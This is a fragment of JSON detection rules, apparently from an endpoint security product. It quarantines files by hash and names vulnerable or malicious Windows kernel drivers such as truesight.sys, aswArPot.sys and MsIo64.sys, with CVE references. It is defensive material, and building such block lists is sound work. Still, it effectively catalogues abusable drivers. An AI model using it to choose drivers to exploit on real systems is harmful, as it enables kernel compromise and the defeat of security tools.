+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149807Z",
+  "creation_date": "2026-03-23T11:45:31.149810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1614e43c7556bcf6867d7c528ea7f7dc70a2bd90ef17ea35e85af1663a8b62d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0ecc777-a616-59dd-a21d-6851e8f058ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472560Z",
+  "creation_date": "2026-03-23T11:45:30.472563Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "368a9c2b6f12adbe2ba65181fb96f8b0d2241e4eae9f3ce3e20e50c3a3cc9aa1",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c0ff4a9c-a10c-59b8-b1e7-8a31631dec95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827194Z",
+  "creation_date": "2026-03-23T11:45:31.827196Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827201Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "266634c80d0a590988a6eaf326be0b04dfd346c56cc3d1a8e5def6dc0f9a33cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1029495-dc2b-58db-b570-a956d5d4788a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832205Z",
+  "creation_date": "2026-03-23T11:45:30.832207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832212Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b6837a6b5af391099ddf151ad7a220d2ef95b169d1bcca4e5d9ce121252d918",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c105e7f2-c4cb-5e13-89dc-0a90a6dc5d5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471713Z",
+  "creation_date": "2026-03-23T11:45:30.471716Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80599708ce61ec5d6dcfc5977208a2a0be2252820a88d9ba260d8cdf5dc7fbe4",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c10b25ca-bcf0-5043-bd5f-1212d4ffa66e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832388Z",
+  "creation_date": "2026-03-23T11:45:30.832390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832396Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "799cb4ddae59494541ad811507438aeb0615ed08a2e903cb66c3dd923044b952",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c10c6634-195b-580e-8abe-8306bf287c05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826371Z",
+  "creation_date": "2026-03-23T11:45:30.826373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d500f10df3b61bef3060820d27fff5f3f4559ae38c9e591a94d429385f75f08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c11cdbc5-4973-58e4-b0a4-f2566e2d553f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983578Z",
+  "creation_date": "2026-03-23T11:45:29.983580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc",
+  "comment": "Malicious Kernel Driver (aka ntbios.sys) [https://www.loldrivers.io/drivers/eef1fcf4-8c54-420b-8d38-9c5f95129dcc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c12d3150-a651-5c25-98f6-1e0853cc1888",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614770Z",
+  "creation_date": "2026-03-23T11:45:29.614772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614777Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99f4994a0e5bd1bf6e3f637d3225c69ff4cd620557e23637533e7f18d7d6cba1",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1343970-616f-59a3-9a1a-7f7bccc41961",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819192Z",
+  "creation_date": "2026-03-23T11:45:30.819194Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43dc82fd548218f0e916687c997291c8056dfdcc5b5f5616833437f96d806a64",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1394bff-8005-59f3-b0d0-a44be27e95d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968493Z",
+  "creation_date": "2026-03-23T11:45:29.968496Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b542e47248611a1895018ec4f4033ea53464f259c74eb014d018b19ad818917",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c13f03b8-df2b-5c0c-afe8-731cce49d2aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604591Z",
+  "creation_date": "2026-03-23T11:45:29.604593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604598Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7128d13dc4269de832723d4a3a6cfd7e6553576a9e96464583eb8bb5c2f243aa",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1414d27-3441-5ddf-b95d-7ab1d8b3e873",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489526Z",
+  "creation_date": "2026-03-23T11:45:31.489529Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fedac4fe88aef03b44adcd23f94ce04074f75e44bc97ac9978f7f8909023e18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1430da3-6b1b-5e66-a30b-94a23d763e8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145772Z",
+  "creation_date": "2026-03-23T11:45:32.145774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d61e4ea1b1294d5a042feb152dc5f9aa1397c45c3ed583621279dd4e69be418",
+  "comment": "Malicious Kernel Driver (aka driver_5d61e4ea.sys) [https://www.loldrivers.io/drivers/0215d6d6-e0c4-4a11-bd3a-40511f89d736/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c151b015-f21a-5030-9e76-0d847fd8f071",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614198Z",
+  "creation_date": "2026-03-23T11:45:29.614200Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614205Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7018d515a6c781ea6097ca71d0f0603ad0d689f7ec99db27fcacd492a9e86027",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c1577801-288d-57d6-9062-eb61e423dd18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160588Z",
+  "creation_date": "2026-03-23T11:45:31.160590Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab11747906d1db3ab3adeeab2d0f14b20edad4064064f80c3860746448e56608",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c15b6516-cd5b-576f-ab09-746c3fed886b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488187Z",
+  "creation_date": "2026-03-23T11:45:31.488189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488195Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1132883b99e795f19ce643184b1e3d33e1801fe19c6718ebcf2ca6f257a6b6ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c169d28e-ac73-5064-ac6e-6b0d1b4bbfe7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980133Z",
+  "creation_date": "2026-03-23T11:45:29.980135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "16e2b071991b470a76dff4b6312d3c7e2133ad9ac4b6a62dda4e32281952fb23",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c169e4f7-e705-53f8-8d26-442e55a60725",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831848Z",
+  "creation_date": "2026-03-23T11:45:30.831851Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831857Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7966e3d959150caebd4dd5dbaeae68fe28013a4043636ccf6350fda847c46bc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c16a92d0-c385-519e-8145-d7cb56bb80f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476904Z",
+  "creation_date": "2026-03-23T11:45:30.476907Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0b918d766e6ce4218a833314525dd6eaeba83c597e9e1a9efefa7f95ec64a95",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c171752c-95f4-5c24-9ca4-65627d5880a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836789Z",
+  "creation_date": "2026-03-23T11:45:30.836792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "247058a37cd8d8e09ac4e498578bf188f32ed2beb8858c8363e0651e1f67a0fe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c17d0e3e-6b21-5224-8f35-96c8922bbd89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160513Z",
+  "creation_date": "2026-03-23T11:45:31.160515Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2f78cd04121615119903f0aded0bf383e5a8c7fb3f03f34a9b93aa5dbe5c20c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c187152c-19cd-5135-8567-3fcaa493a61f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465821Z",
+  "creation_date": "2026-03-23T11:45:30.465824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
